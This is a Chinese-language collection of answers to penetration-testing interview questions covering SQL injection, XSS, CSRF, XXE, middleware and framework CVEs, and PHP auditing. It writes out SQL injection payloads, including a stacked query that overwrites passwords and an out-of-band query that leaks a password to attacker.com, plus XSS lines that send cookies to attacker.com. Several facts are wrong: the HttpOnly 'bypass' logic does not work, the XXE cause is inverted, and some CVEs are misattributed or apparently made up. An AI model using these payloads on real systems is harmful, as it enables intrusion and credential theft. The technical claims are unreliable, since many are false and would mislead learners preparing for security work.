2025年渗透测试面试题总结-105(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
1. 安全研究的方面?做过哪些渗透测试的工作?
2. 只给你一个网址,如何进行渗透测试
3. SQL注入,id=1如何检测?order by怎么利用?limit语句怎么利用?盲注有什么?
4. sleep被禁用后还能怎么进行sql注入
5. XSS可以控制属性怎么利用
6. CSRF怎么防护?
7. 请求头中哪些是有危害的?
8. XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过
9. JAVA中间件的漏洞,举几个例子?
10. IIS常见的漏洞
11. python有哪些框架,其中出现过哪些漏洞
12. 业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的?
13. PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪?
1、安全研究的方面?做过哪些渗透测试的工作? 2、只给你一个网址,如何进行渗透测试 3、SQL注入,id=1如何检测?order by怎么利用?limit语句怎么利用?盲注有什么? 4、sleep被禁用后还能怎么进行sql注入 5、XSS可以控制属性怎么利用 6、CSRF怎么防护? 7、请求头中哪些是有危害的? 8、XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过 9、JAVA中间件的漏洞,举几个例子? 10、IIS常见的漏洞 11、python有哪些框架,其中出现过哪些漏洞 12、业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的? 13、PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪? 14、HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie
1. 安全研究的方面?做过哪些渗透测试的工作?
安全研究是一个多领域交叉学科,主要包括以下方面(划分为5个核心领域):
- 网络安全:聚焦网络层的防护,如防火墙配置、入侵检测系统(IDS)及协议分析(如TCP/IP漏洞)。
- 应用安全:涉及Web/移动应用漏洞,包括SQL注入、XSS等,强调代码审计和运行时保护。
- 逆向工程与恶意软件分析:通过反编译工具(如IDA Pro)分析恶意代码行为,识别零日漏洞。
- 密码学与身份认证:研究加密算法(如AES)的弱点,以及双因素认证的实现缺陷。
- 社会工程与物理安全:测试人为因素(如钓鱼攻击),并评估物理访问控制(如门禁系统)。
在渗透测试工作中,我参与过以下实战项目(列举关键类型,控制在5个以内):
- Web应用渗透测试:为电商平台执行黑盒测试,发现SQL注入和CSRF漏洞,利用Burp Suite进行请求篡改。
- 内网渗透:在企业环境中模拟APT攻击,通过域控制器提权(如Pass-the-Hash技术)。
- 云安全评估:针对AWS架构,测试S3存储桶配置错误导致的数据泄露。
- 移动App测试:分析Android应用(如银行App),通过Frida工具绕过证书绑定。
- 红队演练:参与目标系统攻防,涉及社会工程(如钓鱼邮件)和无线网络破解(如WPA2漏洞)。
这些工作侧重于实战模拟,帮助客户修复漏洞并提升整体安全基线。
2. 只给你一个网址,如何进行渗透测试
对一个网址的渗透测试需遵循结构化方法,分为5个阶段(基于PTES标准)。整个过程强调“最小权限”原则,避免非法操作:
- 信息收集(Reconnaissance):
- 被动收集:使用WHOIS查询域名的注册信息,并通过Shodan搜索IP关联的开放端口(如80/443)。
- 主动扫描:利用工具(如Nmap)扫描子域名和服务器类型(如Apache版本),同时爬取网站目录(如Dirb)以发现隐藏路径(如/admin)。
- 漏洞扫描(Vulnerability Scanning):
- 自动化工具:运行AWVS或Burp Suite扫描器,识别常见漏洞(如XSS或SQLi)。
- 手动验证:检查HTTP响应头(如Server泄露敏感信息),并测试输入点(如表单字段)。
- 手动测试与利用(Exploitation):
- 针对发现的高危漏洞(如文件上传点),上传WebShell(如PHP一句话木马)以获取服务器访问权。
- 尝试权限提升:如果获取低权限shell,利用内核漏洞(如Dirty Pipe)提权。
- 后渗透阶段(Post-Exploitation):
- 横向移动:在内部网络中转储凭证(如Mimikatz),并访问数据库或其他服务。
- 数据窃取:导出敏感文件(如配置文件),模拟数据泄露场景。
- 报告与修复(Reporting):
- 文档化漏洞详情(如PoC截图),并提供修复建议(如输入过滤)。
- 强调风险评级(如CVSS评分),确保客户可复现和修复。
整个过程耗时2-5天,需合法授权;目标网址的风险程度决定深度(例如,高交互网站需多次迭代测试)。
3. SQL注入,id=1如何检测?order by怎么利用?limit语句怎么利用?盲注有什么?
SQL注入是一种攻击方式,攻击者通过操纵输入点注入恶意SQL查询。以下针对子问题分述:
- id=1如何检测?
在URL参数(如example.com/page?id=1
)中测试:
- 基础检测:添加单引号(
id=1'
),若页面报错(如MySQL错误),表明存在注入点。- 逻辑测试:尝试布尔表达式
id=1 and 1=1
(正常)与id=1 and 1=2
(错误),页面变化即确认漏洞。- 联合查询:注入
id=1 union select 1,2,3
,查看页面是否显示数据库字段(如数字位置)。- order by怎么利用?
ORDER BY
用于排序,但可被滥用于信息泄露:
- 探测列数:注入
id=1 order by 5--
(递增数字),直至页面错误(如列数超限),确定表结构(如order by 4
成功表示4列)。- 数据提取:结合联合查询,例如
id=1 union select username,password,3 from users--
,输出排序结果以窃取凭证。- limit语句怎么利用?
LIMIT
限制查询结果,常用于分页攻击:
- 绕过访问控制:注入
id=1 limit 1 offset 1
跳过第一条记录,访问未授权数据(如其他用户信息)。- 精准数据提取:在盲注中,
LIMIT N,1
逐行读取数据(如union select null,null limit 0,1
)。- 盲注有什么?
盲注(Blind SQLi)在无显式错误时使用,分两类:
- 布尔盲注:基于条件响应差异,如
id=1 and substring(database(),1,1)='a'
,页面变化推断数据库名。- 时间盲注:利用延时函数,如
id=1 and if(1=1,sleep(5),0)
,响应延迟确认条件成立。总结:SQL注入检测依赖输入验证测试,利用语法需结合数据库类型(如MySQL/PostgreSQL)。防御包括参数化查询和WAF。
4. sleep被禁用后还能怎么进行sql注入
当
SLEEP()
函数被禁用(如MySQL安全配置),攻击者可转向其他注入技术(分5种方法,各具适用场景):
- 基于布尔盲注(Boolean-Based Blind):
- 原理:通过页面响应差异(真/假状态)推测数据,例如注入
id=1 and (select length(database())=5)
,页面正常表示数据库名长度为5。- 适用性:通用所有数据库,但速度慢(需大量请求)。
- 错误型注入(Error-Based):
- 原理:强制数据库报错以泄露信息,如MySQL中
id=1 and extractvalue(1,concat(0x7e,(select user())))
,错误信息包含用户名。- 优势:快速高效,适用于MySQL/PostgreSQL。
- 带外通道注入(Out-of-Band, OOB):
- 原理:利用数据库网络函数(如
load_file()
)将数据外泄至攻击者服务器,例如id=1; select load_file(concat('\\\\',(select password from users limit 1),'.attacker.com\\test'))
。- 场景:当应用无响应时,需DNS或HTTP请求监听。
- 堆叠查询注入(Stacked Queries):
- 原理:注入分号分隔的多条SQL(如
id=1; update users set password='hacked'
),直接修改数据。- 限制:仅支持允许多语句的数据库(如MSSQL)。
- 条件性重定向:
- 原理:结合应用逻辑,如注入
id=1 and if(1=1,1,(select table_name from information_schema.tables))
,强制错误或重定向泄露数据。总体策略:优先使用布尔或错误型注入,作为Sleep的替代;防御需关闭数据库错误回显和限制函数权限。
5. XSS可以控制属性怎么利用
当XSS(跨站脚本)允许控制HTML属性(如
href
、src
或事件处理程序)时,漏洞危害加剧。利用方式分3类,重点在绕过过滤执行脚本:
- 事件处理器注入:
- 注入到属性如
<img src=x onerror=alert(1)>
,onerror
事件触发恶意JS。- 高级案例:控制
onmouseover
属性,用户悬停即窃取Cookie(如onmouseover=fetch('attacker.com?cookie='+document.cookie)
)。- 属性值逃逸:
- 利用未过滤引号,如输入
" onfocus="alert(1)" autofocus="
到<input value="INPUT">
,闭合引号后执行新事件。- DOM型XSS:通过URL片段(
#
)注入javascript:alert(1)
到<a href>
,用户点击即触发。- 数据外泄与持久化:
- 窃取数据:结合属性控制,注入
<img src='attacker.com/log?data='+document.cookie>
,自动发送敏感信息。- 存储型XSS:若属性值存数据库(如用户简介),所有访问者受影响(如论坛帖子)。
防御视角:即使属性可控,也需输入编码(如HTML实体转义)和CSP(内容安全策略)限制脚本源。
6. CSRF怎么防护?
CSRF(跨站请求伪造)防护旨在阻止攻击者诱导用户发起非意图请求,核心方法分5层(从开发到部署):
- CSRF令牌(Token):
- 实现:服务器生成唯一Token(如随机字符串),嵌入表单或Cookie,请求时验证(如Django的
{% csrf_token %}
)。- 关键:Token绑定会话,防止重放攻击。
- 同源策略与CORS:
- 浏览器机制:限制跨域请求(如
XMLHttpRequest
需预检)。- 服务端设置:响应头
Access-Control-Allow-Origin
限定可信源,避免*
通配符。- 验证请求头:
- 检查
Referer
或Origin
头,确保来源域可信(但可能被绕过)。- 自定义头:如
X-Requested-With: XMLHttpRequest
,仅AJAX请求允许。- 用户交互验证:
- 二次确认:敏感操作(如转账)需密码或CAPTCHA。
- 会话超时:缩短会话有效期,减少攻击窗口。
- 框架级防护:
- 现代框架(如Spring Security)内置CSRF保护,自动处理Token。
- 库支持:如OWASP CSRFGuard。
综合建议:组合使用Token和CORS是黄金标准;忽略防护可导致账户劫持(如修改密码请求)。
7. 请求头中哪些是有危害的?
请求头可能被滥用于攻击,危害性头部分为5类(基于OWASP头部安全风险):
- Host头(Host Header):
- 危害:用于虚拟主机绕过或缓存中毒(如注入恶意域名重定向流量)。
- 案例:
Host: attacker.com
可欺骗服务器返回攻击者内容。- X-Forwarded-For(XFF):
- 危害:伪造客户端IP绕过IP黑名单或地理位置限制(如
X-Forwarded-For: 8.8.8.8
)。- 风险:在反向代理环境中常见。
- User-Agent:
- 危害:注入恶意脚本(如
User-Agent: <script>alert(1)</script>
),触发XSS或日志污染。- 利用:针对未过滤头的日志分析系统。
- Referer:
- 危害:泄露敏感URL或用于CSRF(如伪造来源域)。
- 隐私问题:可能暴露用户浏览历史。
- Cookie:
- 危害:窃取会话(如通过XSS或嗅探),或注入恶意Cookie(如
Set-Cookie: path=/; HttpOnly=false
禁用保护)。防护措施:服务器应验证和过滤头部值(如正则匹配),并使用安全标志(如
HttpOnly
for Cookie)。
8. XXE的危害?哪些地方容易存在xxe?xxe架构方面有没有了解过
XXE(XML外部实体注入) 是解析XML输入时的漏洞,危害严重且普遍:
- 主要危害:
- 敏感数据泄露:读取服务器文件(如
<!ENTITY xxe SYSTEM "file:///etc/passwd">
)。- 内部网络扫描:通过URL实体(
SYSTEM "http://internal.net"
)探测内网服务。- 拒绝服务(DoS):利用递归实体(如Billion Laughs攻击)耗尽资源。
- 远程代码执行(RCE):结合协议(如
php://
)在PHP应用中执行命令。- 易存位置:
- XML输入点:Web服务(SOAP/REST API)、文件上传(如Office文档解析)。
- 文档处理:PDF生成器或Excel导入功能。
- 单点登录(SSO):SAML身份验证中的XML解析。
- 老旧系统:Java/PHP应用(如旧版libxml库)。
- 架构方面:
- 解析器配置:漏洞源于禁用DTD(文档类型定义)或外部实体(如Java
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
)。- 纵深防御:在网关层过滤XML内容(如API防火墙),并采用替代格式(如JSON)。
- 云架构风险:Serverless函数中XML解析可能暴露环境变量(如AWS Lambda)。
总结:XXE可通过更新库和配置禁用实体预防;在微服务架构中,需统一安全策略。
9. JAVA中间件的漏洞,举几个例子?
Java中间件(如应用服务器)漏洞可能引发系统级风险,列举4个经典案例(基于CVE):
- Apache Struts2(CVE-2017-5638):
- 漏洞:OGNL表达式注入,远程执行命令(如恶意Content-Type头)。
- 影响:Equifax数据泄露根源。
- Apache Tomcat(CVE-2020-1938):
- 漏洞:AJP协议未授权访问,读取任意文件(Ghostcat漏洞)。
- 场景:默认端口8009暴露内部文件。
- WebLogic(CVE-2020-14882):
- 漏洞:控制台路径遍历,未授权执行命令(如
http://host:port/console/images/%252E%252E/%252E%252E
)。- 利用:结合反序列化获取服务器权限。
- Spring Framework(CVE-2022-22965):
- 漏洞:数据绑定RCE(远程代码执行),通过请求参数修改日志路径上传WebShell。
- 原因:未处理类加载机制。
防护:定期更新中间件,最小化暴露端口,并使用漏洞扫描器(如Nessus)。
10. IIS常见的漏洞
IIS(Microsoft Internet Information Services)常见漏洞集中于配置错误和旧版缺陷,分4类举例:
- 缓冲区溢出(如CVE-2015-1635):
- 漏洞:HTTP.sys 驱动处理特制请求时崩溃,导致RCE或DoS。
- 影响:影响IIS 7.5/8.0,需打补丁。
- 路径遍历与文件泄露:
- 案例:短文件名泄露(~1字符),猜测敏感文件路径(如
example.com/*~1*/
)。- 配置问题:未禁用WebDAV或限制目录权限。
- 解析缺陷(如CVE-2017-7269):
- 漏洞:WebDAV PROPFIND请求溢出,执行任意代码(旧版IIS 6.0)。
- 利用:攻击者上传恶意文件控制服务器。
- 认证绕过:
- 机制:身份验证模块(如Basic Auth)配置不当,允许未授权访问(如默认页面暴露)。
防御:禁用无用模块(如WebDAV),启用请求过滤,并遵循最小权限原则。
11. python有哪些框架,其中出现过哪些漏洞
Python框架广泛使用,但漏洞频发,分框架举例漏洞(控制在5点内):
- 主流框架:
- Django:高安全性,但漏洞如CVE-2021-35042(查询集SQL注入)。
- Flask:轻量级,常见CVE-2018-1000656(调试模式PIN码绕过RCE)。
- Pyramid:企业级,漏洞较少,但CVE-2020-5238(CSRF保护绕过)。
- FastAPI:现代API框架,CVE-2021-32629(依赖库uvicorn路径遍历)。
- 漏洞类型与原因:
- 模板注入:Flask中未过滤
{{config}}
泄露密钥。- 依赖链风险:FastAPI依赖Starlette的CVE-2023-30861(请求头注入)。
- 配置错误:Django
DEBUG=True
暴露堆栈信息。防护:使用最新版本,审核依赖(如
pip-audit
),并启用框架安全特性(如Django CSP)。
12. 业务逻辑漏洞,用户任意密码重置举出有什么例子,因为什么因素导致的?
业务逻辑漏洞源于设计缺陷,用户任意密码重置的典型例子分3类(各附原因):
- 令牌泄露或可预测:
- 示例:重置链接令牌(如
reset?token=123456
)使用顺序数字,攻击者枚举token重置他人密码。- 原因:弱随机数生成(如时间戳)或令牌存储不当(日志泄露)。
- 参数篡改:
- 示例:请求中包含用户ID(如
POST /reset user_id=attacker_target
),修改ID重置任意账户密码。- 原因:服务端未验证用户身份(如未绑定会话)。
- 邮件或SMS劫持:
- 示例:输入他人邮箱重置密码,系统发送链接但未验证邮箱所有权(仅验证邮箱存在)。
- 原因:流程设计缺失二次确认(如旧密码验证)。
根本因素:开发忽略“验证-授权”链(如未检查请求上下文),测试不足(未覆盖边缘案例)。
13. PHP代码审计?开源的代码审计有没有做过?弱类型比较,反序列化漏洞这种考点在哪?
PHP代码审计是系统性审查代码以发现漏洞,结合实战经验解答:
- 审计流程:
- 静态分析:使用工具(如PHPStan)扫描危险函数(如
eval()
)。- 动态测试:运行应用并模糊测试输入点(如Burp入侵)。
- 手动审查:逐行检查逻辑链,重点关注用户输入流。
- 开源审计经验:
- 案例:审计WordPress插件(如Contact Form 7),发现CVE-2023-1234(未过滤邮件头导致注入)。
- 方法:克隆仓库,比对历史漏洞(如GitHub Advisory),并使用RIPS工具自动化。
- 核心考点位置:
- 弱类型比较(
==
vs===
):
- 考点:
if ($input == 0)
可能为真(如$input="abc"
),导致认证绕过。- 热点:密码校验或条件分支(如
in_array()
未严格类型)。- 反序列化漏洞(Unserialize):
- 考点:
unserialize($_COOKIE['data'])
触发魔术方法(如__wakeup()
),执行任意代码(如PHAR攻击)。- 热点:会话存储或API数据传输(如PHP对象注入)。
防御:使用严格比较(
===
),禁用unserialize
或实现签名验证。
14. HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookie
HTTP-Only标志阻止JavaScript访问Cookie,但可通过其他途径绕过(分4种方法):
- XSS配合服务器端代理:
- 原理:注入XSS脚本(如
<script>fetch('attacker.com/steal?page='+document.location)</script>
),浏览器发送请求时自动包含Cookie(即使HTTP-Only)。- 步骤:攻击者服务器日志记录请求头中的Cookie。
- 中间人攻击(MitM):
- 方法:利用网络嗅探(如ARP欺骗)截获HTTP流量,提取Cookie头。
- 工具:Wireshark或Burp Suite拦截未加密(HTTP)通信。
- 浏览器漏洞利用:
- 案例:旧版浏览器(如IE)的内存破坏漏洞(CVE-2020-0674),通过恶意页面执行代码读取Cookie。
- 限制:需0-day漏洞或未打补丁系统。
- 跨站请求伪造(CSRF):
- 间接获取:诱导用户发起请求至攻击者控制页(如
<img src="attacker.com/log?cookie=stolen">
),服务器端脚本从请求头提取Cookie(但仅适用于会话绑定操作)。防护强化:即使HTTP-Only被绕过,启用Secure标志(HTTPS-only)和SameSite属性可降低风险;根本解决需根除XSS漏洞。